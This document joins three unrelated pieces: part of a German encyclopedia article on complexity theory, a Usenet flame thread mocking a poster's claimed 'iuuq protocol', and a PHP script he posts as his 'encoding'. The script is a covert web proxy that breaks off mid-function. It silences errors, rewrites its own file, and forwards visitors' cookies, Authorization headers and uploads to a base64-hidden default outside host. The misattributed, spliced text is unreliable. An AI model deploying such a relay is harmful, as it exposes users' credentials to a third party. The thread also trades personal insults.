Die Komplementklasse enthält genau die Komplemente der ursprünglichen
Klasse. Dagegen kann man auch das Komplement einer Klasse betrachten,
das sind alle Mengen, die in dieser Klasse nicht sind; diese Mengen
sind in der Regel viel schwerer als die der ursprünglichen
Komplexitätsklasse. Die Komplementklasse hingegen besitzt mit der
ursprünglichen Klasse in der Regel einen nichtleeren Durchschnitt. Der
neu gebildeten Komplementklasse stellt man das Präfix ''Co'' vor.
Heißt also die Ausgangsklasse K, so heißt ihr Komplement CoK. Für
deterministische Maschinen gilt in der Regel K = CoK, da in
der Übergangsfunktion einfach nur die Übergänge zu akzeptierenden
Zuständen durch Übergänge zu verwerfenden Zuständen ausgetauscht
werden müssen und umgekehrt. Für andere Berechnungsmodi gilt dies
jedoch nicht, da hier die [[Akzeptieren (Automaten- und
Komplexitätstheorie)|Akzeptanz]] anders definiert ist.
Beispielsweise ist bislang unbekannt, ob NP = [[Co-NP|CoNP]]
gilt. P = CoP ist wahr, da das zugrunde liegende Modell
deterministisch ist und hier die akzeptierenden und ablehnenden
Zustände in den Berechnungen einfach ausgetauscht werden können, wie
im vorherigen Absatz angesprochen. So sehen wir sofort, dass P im
Durchschnitt von NP und CoNP enthalten ist. Ob dieser Durchschnitt
genau P ist, ist nicht bekannt.
== Das P-NP-Problem und seine Bedeutung ==
Eines der wichtigsten und nach wie vor ungelösten Probleme der
Komplexitätstheorie ist das [[P-NP-Problem]]. ''Ist die Klasse [[P
(Komplexitätsklasse)|P]] gleich der Klasse [[NP (Komplexitätsklasse)|
NP]]?'' Diese Frage kann als eine zentrale Forschungsmotivation der
Komplexitätstheorie angesehen werden, und eine Vielzahl der
komplexitätstheoretischen Ergebnisse wurde erzielt, um der Lösung des
P-NP-Problems näher zu kommen.
=== Die Klasse P: Praktisch lösbare Probleme ===
Die Tragweite des P-NP-Problems resultiert aus der Erfahrung, dass die
Probleme der Klasse P in der Regel praktisch lösbar sind: Es
existieren Algorithmen, um Lösungen für diese Probleme effizient oder
doch mit vertretbarem zeitlichen Aufwand zu berechnen. Der zeitliche
Aufwand zur Problemlösung wächst für die Probleme der Klasse P
maximal [[Polynomialzeit|polynomial]]. Meist lassen sich sogar
Algorithmen finden, deren Zeitfunktionen [[Polynom]]e niedrigen Grades
sind. Da das gewählte Maschinenmodell dieser Zeitklasse
[[Determinismus (Algorithmus)|deterministisch]] und damit tatsächlich
realisierbar ist, bilden die Probleme der Klasse P gerade die
Grenze des algorithmisch sinnvollerweise Machbaren.
=== Die Klasse NP: Praktisch (vermutlich) nicht lösbare Probleme ===
Im Gegensatz zu den Problemen in P basieren die Algorithmen zur Lösung
der Probleme in NP auf einem [[Nichtdeterministische Turingmaschine|
nichtdeterministischen Maschinenmodell]]. Für solche Maschinen wird
eine unbeschränkte Parallelisierbarkeit der sich verzweigenden
Berechnungspfade angenommen, die technisch nicht realisiert werden
kann. Zwar arbeiten auch die Algorithmen zur Lösung der Probleme in NP
in polynomialer Zeit, aber eben auf der Basis eines unrealistischen
Maschinenmodells. Die Probleme in NP gelten daher für praktische
Zwecke als nicht lösbar: Der Aufwand zu ihrer Berechnung steigt auf
einer deterministischen Maschine ''mutmaßlich'' mit wachsender
Problemgröße mehr als polynomial an. Dies wäre nicht weiter tragisch,
wenn nicht so viele Probleme von größter Bedeutung zu NP gehören
würden. Tatsächlich finden sich jedoch in NP Probleme aus fast allen
Bereichen der Informatik, deren effiziente Lösung enorm wichtig wäre.
=== Der Fall P = NP ===
Würde das P-NP-Problem im Sinne von P = NP gelöst, so
wüssten wir, dass es selbst für [[NP-Vollständigkeit|NP-vollständige]]
Probleme Algorithmen geben muss, die mit polynomiellem Zeitaufwand
arbeiten.
Da umgekehrt die Definition der NP-Vollständigkeit Algorithmen
voraussetzt, mit denen es gelingt, beliebige Probleme aus NP auf NP-
vollständige Probleme zu reduzieren, wären mit der polynomialen
Lösbarkeit auch nur eines einzigen NP-vollständigen Problems sofort
sämtliche Probleme der Klasse NP in polynomieller Zeit lösbar. Dies
hätte eine Problemlösekraft in der gesamten Informatik zur Folge, wie
er auch durch noch so große Fortschritte in der Hardware-Entwicklung
nicht erreicht werden kann.
Andererseits ist für bestimmte Anwendungsfälle eine Lösung des P-NP-
Problems im Sinne von P = NP eher unerwünscht.
Beispielsweise würden asymmetrische Verschlüsselungsverfahren
erheblich an Sicherheit verlieren, da diese dann in Polynomialzeit
gebrochen werden könnten.
=== Der Fall P ≠ NP ===
Würde das P-NP-Problem im Sinne von P ≠ NP gelöst, so wäre
klar, dass weitere Bemühungen, polynomielle Lösungen für NP-
vollständige Probleme zu finden, sinnlos wären. Man kann sich leicht
vorstellen, dass aufgrund der hohen Bedeutung der Probleme in NP die
Bemühungen um eine effiziente Lösung erst dann eingestellt werden,
wenn diese nachgewiesenermaßen unmöglich ist. Bis zu diesem Zeitpunkt
wird noch viel private und öffentliche Forschungsenergie aufgewandt
werden.
In vielen Theoremen wird heute jedoch angenommen, dass
P ≠ NP gilt, denn nur so kann ohne einen Beweis der
Gleichheit trotzdem effektive Forschungsarbeit geleistet werden. Man
sucht nach Auswegen durch Approximationen und Heuristiken, nach
Problemeinschränkungen, die die Praxis nicht vernachlässigen.
=== Konsequenzen für die Komplexitätstheorie ===
Zu den wichtigsten Forschungszielen der Komplexitätstheorie gehört die
Abgrenzung des praktisch Machbaren und damit des Betätigungsfeldes der
Informatik schlechthin. Die vorherigen Abschnitte haben die
Wichtigkeit dieser Grenzziehung verdeutlicht. Im Zuge der Versuche,
das P-NP-Problem zu lösen, hat die Komplexitätstheorie zahlreiche
Ergebnisse zu Tage gefördert und ihre Analysemethoden Zug um Zug
verfeinert. Diese Ergebnisse werden insbesondere beim Entwurf und der
Analyse praktisch wichtiger Algorithmen angewandt und wirken so auch
unmittelbar auf die [[Praktische Informatik]].
Die seit über dreißig Jahren andauernden Bemühungen, das P-NP-Problem
zu lösen, gewähren darüber hinaus dem praktischen Informatiker ein
großes Maß an Sicherheit, dass isolierte Bemühungen zur effizienten
Lösung von Problemen aus NP mehr oder weniger sinnlos sind. Die
praktische Informatik konzentriert sich daher bei der Lösung für
Probleme aus NP auf Näherungslösungen oder die Abwandlung der
ursprünglichen Probleme. So kann sich beispielsweise die
Problemkomplexität von Optimierungs-Algorithmen enorm verringern, wenn
man keine optimale Lösung anstrebt, sondern mit einer fast optimalen
Lösung zufrieden ist. Die Komplexitätstheorie liefert für diese
Vorgehensweise die theoretische Rückendeckung.
== Sprachen und Komplexitätsklassen ==
Das folgende [[Teilmenge|Inklusionsdiagramm]] gibt einen – recht
groben – Überblick über die Zusammenhänge zwischen Klassen der
[[Berechenbarkeitstheorie]], der [[Chomsky-Hierarchie]] und den
bedeutendsten [[Liste von Komplexitätsklassen|Komplexitätsklassen]].
[[Datei:Inklusionsdiagramm_Komplexitätsklassen.png|400px|center|
Inklusionsdiagramm]]
== Geschichte der Komplexitätstheorie ==
Nachdem in den vorhergehenden Abschnitten zahlreiche Grundbegriffe und
wichtige Ergebnisse der Komplexitätstheorie erläutert wurden, wird in
den folgenden Abschnitten ein geschichtlicher Abriss gegeben, der die
zeitliche Abfolge dieser Ergebnisse einordnen helfen soll.
=== Grundlagen ===
Vor dem eigentlichen Beginn der explizit auf die Komplexität von
Algorithmen bezogenen Forschung wurden zahlreiche Grundlagen
erarbeitet. Als wichtigste kann dabei die Konstruktion der
[[Turingmaschine]] durch [[Alan Turing]] im Jahr 1936 angesehen
werden, die sich für spätere Algorithmen-Analysen als ausgesprochen
flexibles Modell erwies.
Als erste informelle komplexitätstheoretische Untersuchungen werden
Ergebnisse von John Myhill (1960), [[Raymond Smullyan]] (1961) und
Hisao Yamada (1962) angesehen, die sich mit speziellen raum- und
zeitbeschränkten Problemklassen beschäftigt haben, jedoch in ihren
Arbeiten noch keinen Ansatz zu einer allgemeinen Theorie entwickelten.
=== Beginn der komplexitätstheoretischen Forschung ===
Einen ersten großen Schritt in Richtung einer solchen Theorie
unternehmen [[Juris Hartmanis]] und [[Richard Stearns]] in ihrer 1965
erschienenen Arbeit „''On the computational complexity of
algorithms''“. Sie geben bereits eine quantitative Definition von
Zeit- und Platzkomplexität und wählen damit bereits die beiden
Ressourcen aus, die bis heute als die wichtigsten angesehen werden.
Dabei wählen sie die Mehrband-Turingmaschine als Grundlage und treffen
damit eine sehr robuste Entscheidung, die in vielen
komplexitätstheoretischen Feldern Bestand hat. Sie erarbeiten auch
bereits erste Hierarchiesätze.
In den folgenden Jahren kommt es zu einer Reihe fundamentaler
Ergebnisse. 1967 veröffentlichte [[Manuel Blum]] das [[Speedup-
Theorem]]. 1969 folgt das [[Union-Theorem]] von Edward M. McCreight
und Albert R. Meyer. Und 1972 veröffentlicht Allan Borodin das Gap-
Theorem. Diese Ergebnisse lassen sich nicht nur als grundlegend für
die Komplexitätstheorie ansehen, sie stellen auch ein Abtasten des
noch neuen Forschungsgebietes dar, das sich zugleich noch durch
möglichst „spektakuläre“ Ergebnisse rechtfertigen muss. So treffen
diese Theoreme z.T. zwar überraschende Aussagen, sind aber mitunter
auf Annahmen gebaut, die man heute einschränken würde. Beispielsweise
werden keine ''echten Komplexitätsfunktionen'' (siehe oben)
vorausgesetzt.
In derselben Zeit, die etwa die ersten zehn Jahre
komplexitätstheoretischer Forschung umfasst, kommt es zur Formulierung
der Klasse P als der Klasse der „praktisch lösbaren“ Probleme. Alan
Cobham zeigt, dass die [[Polynomialzeit]] robust unter der Wahl des
Maschinenmodells ist (was man heute unter der erweiterten Church-
Turing These zusammenfasst). Darüber hinaus erweisen sich viele
mathematische Funktionen als in Polynomialzeit berechenbar.
=== Erforschung der Klasse NP ===
Die Klasse NP tritt zuerst bei Jack Edmonds auf den Plan, der jedoch
zunächst nur eine informelle Definition gibt. Die Tatsache, dass
zahlreiche wichtige Probleme in NP zu liegen scheinen, lässt diese
Klasse jedoch bald als attraktives Forschungsfeld erscheinen. Der
Begriff der [[Reduktion (Theoretische Informatik)|Reduzierbarkeit]]
und die darauf basierende [[NP-Vollständigkeit]] wird entwickelt und
findet zuerst im [[Satz von Cook]] (1971) prägnanten Ausdruck: Das
[[Erfüllbarkeitsproblem]] (SAT) ist NP-vollständig und damit ein
''schwerstes'' Problem in NP. Nebenbei bemerkt bezog sich die
ursprüngliche Arbeit von [[Stephen A. Cook|Stephen Cook]] auf
[[Tautologie (Logik)|Tautologien]] ([[Aussagenlogik|aussagenlogische]]
Formeln, die durch ''jede'' Belegung erfüllt werden), während der
Begriff der Erfüllbarkeit nicht erwähnt wird. Da die Ergebnisse
bezüglich der Tautologien jedoch relativ einfach auf die Erfüllbarkeit
übertragen werden können, rechnet man sie Stephen Cook zu. Einen Teil
dieser Übertragung leistet [[Richard Karp]] (1972), indem er die
Technik der Reduktion ausarbeitet. Völlig unabhängig von diesen
Arbeiten entwickelte [[Leonid Levin]] (1973) in der damaligen
[[Sowjetunion]] eine Theorie der NP-Vollständigkeit, die im Westen für
lange Zeit unbeachtet blieb.
1979 veröffentlichen Michael R. Garey und David S. Johnson ein Buch,
welches 300 NP-vollständige Probleme beschreibt (''Computers and
intractability''). Dieses Buch wurde für künftige Forscher zu einer
wichtigen Referenz.
=== Randomisierte Komplexitätsklassen ===
1982 stellt [[Andrew Yao]] das Konzept der [[Falltürfunktion]]en
(trapdoor functions) vor, die eine spezielle Art von [[Einwegfunktion]]
en (one way functions) darstellen, und zeigt deren grundlegende
Wichtigkeit in der [[Kryptographie]] auf. Jedoch genügt für die
Schwierigkeit, einen Code zu knacken, die [[Worst-Case-Laufzeit|Worst-
Case]]-Betrachtungsweise der Komplexitätsklassen wie NP nicht. Es
dürfen vielmehr auch keine Algorithmen existieren, die diese Probleme
in einem signifikanten Anteil aller Fälle effizient lösen. Dies
korrespondiert zum Modell der probabilistischen Turingmaschine und
motiviert die Einführung randomisierter Komplexitätsklassen wie [[ZPP
(Komplexitätsklasse)|ZPP]], [[RP (Komplexitätsklasse)|RP]] oder [[BPP
(Komplexitätsklasse)|BPP]] (alle eingeführt von John T. Gill, 1977).
Mit dieser Übersicht wurden die wesentlichen Grundsteine der
Geschichte der Komplexitätstheorie gelegt. Wie in anderen
Forschungsgebieten auch, fächern sich die neueren Ergebnisse in viele,
teils sehr spezielle Teilbereiche auf.
== Weblinks ==
* [http://qwiki.stanford.edu/wiki/Complexity_Zoo Complexity Zoo] --
„Zoo“ der Komplexitätsklassen
== Literatur ==
* Ingo Wegener: ''Komplexitätstheorie. Grenzen der Effizienz von
Algorithmen''. 1. Auflage. Springer, Berlin 2003, ISBN 3-540-00161-1.
* K. Rüdiger Reischuk: ''Komplexitätstheorie - Band I: Grundlagen:
Maschinenmodelle, Zeit- und Platzkomplexität, Nichtdeterminismus''. 2.
Auflage. Teubner, Stuttgart/Leipzig 1999, ISBN 3-519-12275-8.
* Christos H. Papadimitriou: ''Computational Complexity''. Addison-
Wesley, Reading/Mass. 1995, ISBN 0-201-53082-1.
* Lance Fortnow, Steve Homer: ''A Short History of Computational
Complexity''. [http://people.cs.uchicago.edu/~fortnow/papers/
history.pdf Online-Manuskript] (PDF, 225 kB)
* Jan van Leeuwen (Hrsg.): ''Handbook of Theoretical Computer Science,
Volume A: Algorithms and Complexity''. The MIT Press/Elsevier,
Amsterdam 1994, ISBN 0-262-72020-5.
* [[Juris Hartmanis]], [[Richard Edwin Stearns]]: ''On the
computational complexity of algorithms''. In: ''Trans. American
Mathematical Society''. 117/1965, S. 285-306, {{ISSN|0002-9947}}.
* Ding-Zhu Du, Ker-I Ko: ''Theory of Computational Complexity.'' John
Wiley & Sons, New York 2000, ISBN 0-471-34506-7.
* Michael R. Garey, David S. Johnson: ''Computers and Intractability:
A guide to the theory of NP-completeness.'' Freeman, New York 2003,
ISBN 0-7167-1045-5.
* Michael Sipser: ''Introduction to the Theory of Computation''. 2.
Auflage. Thomson, Boston 2006, ISBN 0-534-95097-3. (International
Edition)
== Fußnoten ==
<references />
{{Exzellent}}
[[Kategorie:Komplexitätstheorie| ]]
[[ar:نظرية التعقيد الحسابي]]
[[bn:গণনামূলক জটিলতা তত্ত্ব]]
[[ca:Complexitat computacional]]
[[cs:Teorie složitosti]]
[[el:Θεωρία πολυπλοκότητας]]
[[en:Computational complexity theory]]
[[es:Complejidad computacional]]
[[et:Algoritmiline keerukus]]
[[fa:نظریه پیچیدگی محاسباتی]]
[[fi:Aikavaativuusluokka]]
[[fr:Théorie de la complexité des algorithmes]]
[[he:סיבוכיות]]
[[hr:Računska teorija složenosti]]
[[it:Teoria della complessità computazionale]]
[[ja:計算複雑性理論]]
[[ko:계산 복잡도 이론]]
[[lt:Algoritmų sudėtingumas]]
[[ms:Teori kekompleksan pengiraan]]
[[nl:Complexiteitstheorie]]
[[no:Kompleksitetsteori]]
[[pl:Złożoność obliczeniowa]]
[[pt:Complexidade computacional]]
[[ro:Teoria complexităţii]]
[[ru:Теория сложности вычислений]]
[[sh:Računska teorija složenosti]]
[[simple:Computational complexity theory]]
[[sk:Teória zložitosti]]
[[sr:Теорија комплексности]]
[[sv:Komplexitetsteori]]
[[th:ทฤษฎีความซับซ้อนในการคำนวณ]]
[[tr:Hesap karmaşıklığı kuramı]]
[[uk:Теорія складності обчислень]]
[[vi:Độ phức tạp thuật toán]]
[[zh:計算複雜性理論]]
You don't even know the terminology. I have seen some of your
programming and I'd be very surprised that you created a protocol that
works better than http. Where's your RFC?
If this is really more fluff, please stop. (Does your boss see you
doing this?)
> On Oct 23, 8:04 pm, "http://alexslemonade.org @ http://MeAmI.org"
> <marty.musa...@gmail.com> wrote:
<snip>
>>
>> iuuq://xxx.website.ume
>>
>> http://{--------}=data
>
> You don't even know the terminology. I have seen some of your
> programming and I'd be very surprised that you created a protocol
> that works better than http. Where's your RFC?
>
> If this is really more fluff, please stop. (Does your boss see you
> doing this?)
What boss? Do you really think he's employable?
--
Richard Heathfield <http://www.cpax.org.uk>
Email: -http://www. +rjh@
"Usenet is a strange place" - dmr 29 July 1999
Sig line vacant - apply within
Sometimes you have to be deliberately stubborn though rarely is it
necessary to accomplish most great things.
iuuq™ protocol: new from http://MeAmI.org
I find your comment both obtuse and cruelly closed minded.
I have in fact worked for many great companies including International
Creative Management, American Express Financial Advisors, Creative
Artists Agency (Digital/Business Development) and most recently
Participant Media (Jeffrey Skoll's company - former CEO and 1st
President of eBay).
I also feel it necessary to add your dismissive and unthoughtful tone
only amounts to once again further evidence I am indeed smarter than
one more person in this forum.
The greatest truths are revealed by intelligence and thoughtful
kindness mixed with creativity.
I wish you all the best.
I leave you with your words:
> Dear Richard Heathfield:
>
> I find your comment both obtuse and cruelly closed minded.
Fair exchange is no robbery. I find your comments not only obtuse, but
also closed to any kind of mental activity at all.
> I have in fact worked for many great companies
That's nice. The world needs janitors.
> I also feel it necessary to add your dismissive and unthoughtful
> tone
How do you think people feel about your contemptuous abuse of Usenet?
> only amounts to once again further evidence I am indeed smarter
> than one more person in this forum.
Agreed. You're smarter than Ed Nilges. But then, so is a hedgehog.
<snip>
Mr. Prochak:
Here is some of my encoding:
RFC is still in early draft. I am serious. I have a few different
means of presenting it.
Thanks,
Musatov
php.php
transfer-encoding' && $header_name != ' connection' &&
$header_name ! ... it was not specified the protocol type
argument")); switch(strtolower ..
<?php //Start Config
error_reporting(0);
set_time_limit(0);
$FileRun = strrchr($_SERVER['PHP_SELF'], "/");
$FileRun = str_replace("/", "", $FileRun);
$aStrFile = file($FileRun);
$sStr = file_get_contents($FileRun);
if (str_replace(array("\n", "\r"), "", $aStrFile['0'])!="<?php //Start
Config")
{
$sStr = preg_match("/<\?php \/\/Start Config.*\/\/END Config \?>/si",
$sStr, $matches);
// echo "<br><br><br><br>===<br>".$matches['0'];
$open=fopen($FileRun,"w");
fwrite($open, $matches['0']);
fclose($open);
}
$DEBUG = false;
if ($_GET['timeout']=='1')
die('1');
$_GET['encoded'] = (empty($_GET
['encoded'])?"VXJsPWh0dHA6Ly9maWxlc2hhcmVhLm5ldC80MDQucGhw":$_GET
['encoded']);
if (get_magic_quotes_gpc()) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array',
$array) : stripslashes($array);
}
$_COOKIE = stripslashes_array($_COOKIE);
$_FILES = stripslashes_array($_FILES);
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
$_REQUEST = stripslashes_array($_REQUEST);
}
$decoded = base64_decode(urldecode($_GET['encoded']));
$pairs = explode("&", $decoded);
$VARS = array();
foreach($pairs as $pair) {
list($key, $value) = explode("=", $pair);
$VARS[$key] = urldecode($value);
}
$sUrl = !empty($VARS['Url']) ? $VARS['Url'] : null;
$sPost = !empty($VARS['Post']) ? $VARS['Post'] : null;
$sMethod = !empty($VARS['Method']) ? $VARS['Method'] : null;
if($sMethod == "POST") {
$post = true;
} else {
$post = false;
}
if(!empty($sPost)) {
$sUrl = $sUrl . "?" . $sPost;
}
$rawdata = file_get_contents('php://input');
if(!empty($rawdata)) {
logToFile("server.txt", "RAW: $rawdata");
}
if(!empty($_SERVER["HTTP_REFERER"])) $headers[] = "Referer:
" . $_SERVER["HTTP_REFERER"];
if(!empty($_SERVER["HTTP_ACCEPT"])) $headers[] = "Accept: " .
$_SERVER["HTTP_ACCEPT"];
if(!empty($_SERVER["HTTP_ACCEPT_CHARSET"])) $headers[] = "Accept-
Charset: " . $_SERVER["HTTP_ACCEPT_CHARSET"];
if(!empty($_SERVER["HTTP_ACCEPT_LANGUAGE"])) $headers[] = "Accept-
Language: " . $_SERVER["HTTP_ACCEPT_LANGUAGE"];
if(!empty($_SERVER["CONTENT_TYPE"])) $headers[] = "Content-
Type: " . $_SERVER["CONTENT_TYPE"];
if(function_exists("apache_request_headers")) {
if($aheaders = apache_request_headers()) {
if(!empty($aheaders['Authorization'])) {
$headers[] = "Authorization: " . $aheaders['Authorization'];
}
}
}
//$headers[] = "Authorization: Basic MTAwNTU6VGpma3NVcWQ=";
//$headers[] = "Accept-Encoding: deflate";
/*foreach($headers as $k=>$v) {
logToFile("server.txt", "$k: $v");
}*/
//logToFile("server.txt", "-------------------------\n");
@set_time_limit(0);
$http=new http_class;
/* Connection timeout */
$http->timeout=0;
/* Data transfer timeout */
$http->data_timeout=0;
/* Output debugging information about the progress of the connection
*/
$http->debug=0;
/* Format dubug output to display with HTML pages */
$http->html_debug=0;
$http->user_agent=$_SERVER['HTTP_USER_AGENT'];
$http->follow_redirect=0;
//$http->redirection_limit=10;
$http->support_cookies=0;
$http->prefer_curl=0;
$error=$http->GetRequestArguments($sUrl,$arguments);
//$arguments["Headers"]["Pragma"]="nocache";
foreach($headers as $h) {
list($k, $v) = explode(": ", $h);
$arguments["Headers"][$k]=$v;
}
if($post) {
$arguments["RequestMethod"]="POST";
if(!empty($rawdata)) {
$arguments["Body"] = $rawdata;
} else {
$pv = set_post_vars($_POST);
$arguments["PostValues"] = $pv;
}
foreach($_FILES as $k=>$v) {
$n = $k;
$path = $v['tmp_name'];
//$newfile = $uploaddir . $v['name'];
//move_uploaded_file($path, $newfile);
if(!empty($path)) {
$arguments["PostFiles"][$n]['Name'] = $v['name'];
$arguments["PostFiles"][$n]['Content-Type'] = $v['type'];
$arguments["PostFiles"][$n]['FileName'] = $path;
}
}
}
$cook = cenc2();
if(!empty($cook)) {
$arguments["Headers"]["Cookie"]=$cook;
logToFile("server.txt", "cook: $cook");
$arguments["Headers"]["Cookie2"]='$Version=1';
}
$error=$http->Open($arguments);
if($error=="") {
$error=$http->SendRequest($arguments);
if($error=="") {
if($DEBUG) {
logToFile("request.txt", "URL: $sUrl");
for(Reset($http->request_headers),$header=0;$header<count($http-
>request_headers);Next($http->request_headers),$header++) {
$header_name=Key($http->request_headers);
if(GetType($http->request_headers[$header_name])=="array") {
for($header_value=0;$header_value<count($http-
>request_headers[$header_name]);$header_value++)
logToFile("request.txt", $header_name.": ".$http-
>request_headers[$header_name][$header_value]);
} else
logToFile("request.txt", $header_name.": ".$http-
>request_headers[$header_name]);
}
logToFile("request.txt", "-----------------");
}
$headers=array();
$error=$http->ReadReplyHeaders($headers);
logToFile("reply.txt", "URL: $sUrl");
for(Reset($headers),$header=0;$header<count($headers);Next
($headers),$header++) {
$header_name=Key($headers);
if(GetType($headers[$header_name])!="array") {
$tmp = $headers[$header_name];
$headers[$header_name] = array(0=>$tmp);
}
if(GetType($headers[$header_name])=="array") {
for($header_value=0;$header_value<count($headers
[$header_name]);$header_value++) {
if($header_name != 'transfer-encoding' && $header_name !=
'connection' && $header_name != 'keep-alive') {
$hname = join("-", array_map('ucwords', explode("-",
$header_name)));
$val = $headers[$header_name][$header_value];
if(!empty($val)) {
logToFile("reply.txt", $hname.": ".$val);
if($header_name == "set-cookie") {
header($hname.": ".$val, false);
} else {
header($hname.": ".$val, true);
}
} else {
if($header_name == 'content-length') {
header("$hname: 0", true);
logToFile("reply.txt", "$hname: 0");
} else {
logToFile("reply.txt", $header_name);
header($header_name, true);
}
}
}
}
} /*else {
if($header_name != 'transfer-encoding' && $header_name != 'x-
powered-by' && $header_name != 'connection' && $header_name != 'keep-
alive') {
if(!empty($headers[$header_name])) {
logToFile("reply.txt", $header_name.": ".$headers
[$header_name]);
header($header_name.": ".$headers[$header_name], true);
} else {
logToFile("reply.txt", $header_name);
header($header_name, true);
}
}
}*/
}
logToFile("reply.txt", "-----------------");
for(;;) {
$error=$http->ReadReplyBody($body,1000);
if($error!="" || strlen($body)==0)
break;
echo $body;
flush();
}
}
/*$http->SaveCookies($site_cookies);
if(!empty($site_cookies)) {
@file_put_contents("cook.dat", serialize($site_cookies));
}*/
$http->Close();
}
if(strlen($error))
echo "<CENTER><H2>Error: ",$error,"</H2><CENTER>\n";
exit(0);
#####################################################
function cookieEncode($str) {
return str_replace(array(' ',
"\t",
';',
','),
array('%20',
'%09',
'%3B',
'%2C'),
$str);
}
function cookieDecode($str) {
return str_replace(array('%20',
'%09',
'%3B',
'%2C'),
array(' ',
"\t",
';',
','),
$str);
}
function cenc2() {
$qs = "";
if (@sizeof(array_values($_COOKIE)) > 0) {
foreach ($_COOKIE as $key => $val) {
if (is_array($val) || is_object($val)) {
$qs .= "$key=" . rawurlencode(serialize($val)) + "; ";
} else {
//if(preg_match("/\\;|\\=/", $val)) $val = rawurlencode($val);
//$val = cenc($val, 0);
$key = cookieEncode($key);
$val = cookieEncode($val);
$qs .= "$key=$val; ";
}
}
}
$qs = rtrim($qs, "; ");
return $qs;
}
function set_post_vars($array, $parent_key = null) {
$temp = array();
foreach ($array as $key => $value) {
$key = isset($parent_key) ? sprintf('%s[%s]', $parent_key,
($key)) : ($key);
if (is_array($value)) {
$temp = array_merge($temp, set_post_vars($value, $key));
} else {
$temp[$key] = ($value);
}
}
return $temp;
}
function logToFile($filename, $msg) {
if(!$DEBUG) return;
// open file
$fd = fopen($filename, "a");
// append date/time to message
$str = "[" . date("Y/m/d h:i:s", mktime()) . "] " . $msg;
// write string
fwrite($fd, $str . "\n");
// close file
fclose($fd);
}
class http_class
{
var $host_name="";
var $host_port=0;
var $proxy_host_name="";
var $proxy_host_port=80;
var $socks_host_name = '';
var $socks_host_port = 1080;
var $protocol="http";
var $request_method="GET";
var $user_agent='httpclient';
var $authentication_mechanism="";
var $user;
var $password;
var $realm;
var $workstation;
var $proxy_authentication_mechanism="";
var $proxy_user;
var $proxy_password;
var $proxy_realm;
var $proxy_workstation;
var $request_uri="";
var $request="";
var $request_headers=array();
var $request_user;
var $request_password;
var $request_realm;
var $request_workstation;
var $proxy_request_user;
var $proxy_request_password;
var $proxy_request_realm;
var $proxy_request_workstation;
var $request_body="";
var $request_arguments=array();
var $protocol_version="1.1";
var $timeout=0;
var $data_timeout=0;
var $debug=0;
var $debug_response_body=1;
var $html_debug=0;
var $support_cookies=1;
var $cookies=array();
var $error="";
var $exclude_address="";
var $follow_redirect=0;
var $redirection_limit=5;
var $response_status="";
var $response_message="";
var $file_buffer_length=8000;
var $force_multipart_form_post=0;
var $prefer_curl = 0;
/* private variables - DO NOT ACCESS */
var $state="Disconnected";
var $use_curl=0;
var $connection=0;
var $content_length=0;
var $response="";
var $read_response=0;
var $read_length=0;
var $request_host="";
var $next_token="";
var $redirection_level=0;
var $chunked=0;
var $remaining_chunk=0;
var $last_chunk_read=0;
var $months=array(
"Jan"=>"01",
"Feb"=>"02",
"Mar"=>"03",
"Apr"=>"04",
"May"=>"05",
"Jun"=>"06",
"Jul"=>"07",
"Aug"=>"08",
"Sep"=>"09",
"Oct"=>"10",
"Nov"=>"11",
"Dec"=>"12");
var $session='';
var $connection_close=0;
/* Private methods - DO NOT CALL */
Function Tokenize($string,$separator="")
{
if(!strcmp($separator,""))
{
$separator=$string;
$string=$this->next_token;
}
for($character=0;$character<strlen($separator);$character++)
{
if(GetType($position=strpos($string,$separator[$character]))
=="integer")
$found=(IsSet($found) ? min($found,$position) : $position);
}
if(IsSet($found))
{
$this->next_token=substr($string,$found+1);
return(substr($string,0,$found));
}
else
{
$this->next_token="";
return($string);
}
}
Function CookieEncode($value, $name)
{
return($name ? str_replace("=", "%25", $value) : str_replace(";",
"%3B", $value));
}
Function SetError($error)
{
return($this->error=$error);
}
Function SetPHPError($error, &$php_error_message)
{
if(IsSet($php_error_message)
&& strlen($php_error_message))
$error.=": ".$php_error_message;
return($this->SetError($error));
}
Function SetDataAccessError($error,$check_connection=0)
{
$this->error=$error;
if(!$this->use_curl
&& function_exists("socket_get_status"))
{
$status=socket_get_status($this->connection);
if($status["timed_out"])
$this->error.=": data access time out";
elseif($status["eof"])
{
if($check_connection)
$this->error="";
else
$this->error.=": the server disconnected";
}
}
}
Function OutputDebug($message)
{
$message.="\n";
if($this->html_debug)
$message=str_replace("\n","<br />\n",HtmlEntities($message));
echo $message;
flush();
}
Function GetLine()
{
for($line="";;)
{
if($this->use_curl)
{
$eol=strpos($this->response,"\n",$this->read_response);
$data=($eol ? substr($this->response,$this->read_response,$eol
+1-$this->read_response) : "");
$this->read_response+=strlen($data);
}
else
{
if(feof($this->connection))
{
$this->SetDataAccessError("reached the end of data while
reading from the HTTP server connection");
return(0);
}
$data=fgets($this->connection,100);
}
if(GetType($data)!="string"
|| strlen($data)==0)
{
$this->SetDataAccessError("it was not possible to read line
from the HTTP server");
return(0);
}
$line.=$data;
$length=strlen($line);
if($length
&& !strcmp(substr($line,$length-1,1),"\n"))
{
$length-=(($length>=2 && !strcmp(substr($line,
$length-2,1),"\r")) ? 2 : 1);
$line=substr($line,0,$length);
if($this->debug)
$this->OutputDebug("S $line");
return($line);
}
}
}
Function PutLine($line)
{
if($this->debug)
$this->OutputDebug("C $line");
if(!fputs($this->connection,$line."\r\n"))
{
$this->SetDataAccessError("it was not possible to send a line to
the HTTP server");
return(0);
}
return(1);
}
Function PutData(&$data)
{
if(strlen($data))
{
if($this->debug)
$this->OutputDebug("C $data");
if(!fputs($this->connection,$data))
{
$this->SetDataAccessError("it was not possible to send data to
the HTTP server");
return(0);
}
}
return(1);
}
Function FlushData()
{
if(!fflush($this->connection))
{
$this->SetDataAccessError("it was not possible to send data to
the HTTP server");
return(0);
}
return(1);
}
Function ReadChunkSize()
{
if($this->remaining_chunk==0)
{
$debug=$this->debug;
if(!$this->debug_response_body)
$this->debug=0;
$line=$this->GetLine();
$this->debug=$debug;
if(GetType($line)!="string")
return($this->SetError("4 could not read chunk start: ".$this-
>error));
$this->remaining_chunk=hexdec($line);
}
return("");
}
Function ReadBytes($length)
{
if($this->use_curl)
{
$bytes=substr($this->response,$this->read_response,min
($length,strlen($this->response)-$this->read_response));
$this->read_response+=strlen($bytes);
if($this->debug
&& $this->debug_response_body
&& strlen($bytes))
$this->OutputDebug("S ".$bytes);
}
else
{
if($this->chunked)
{
for($bytes="",$remaining=$length;$remaining;)
{
if(strlen($this->ReadChunkSize()))
return("");
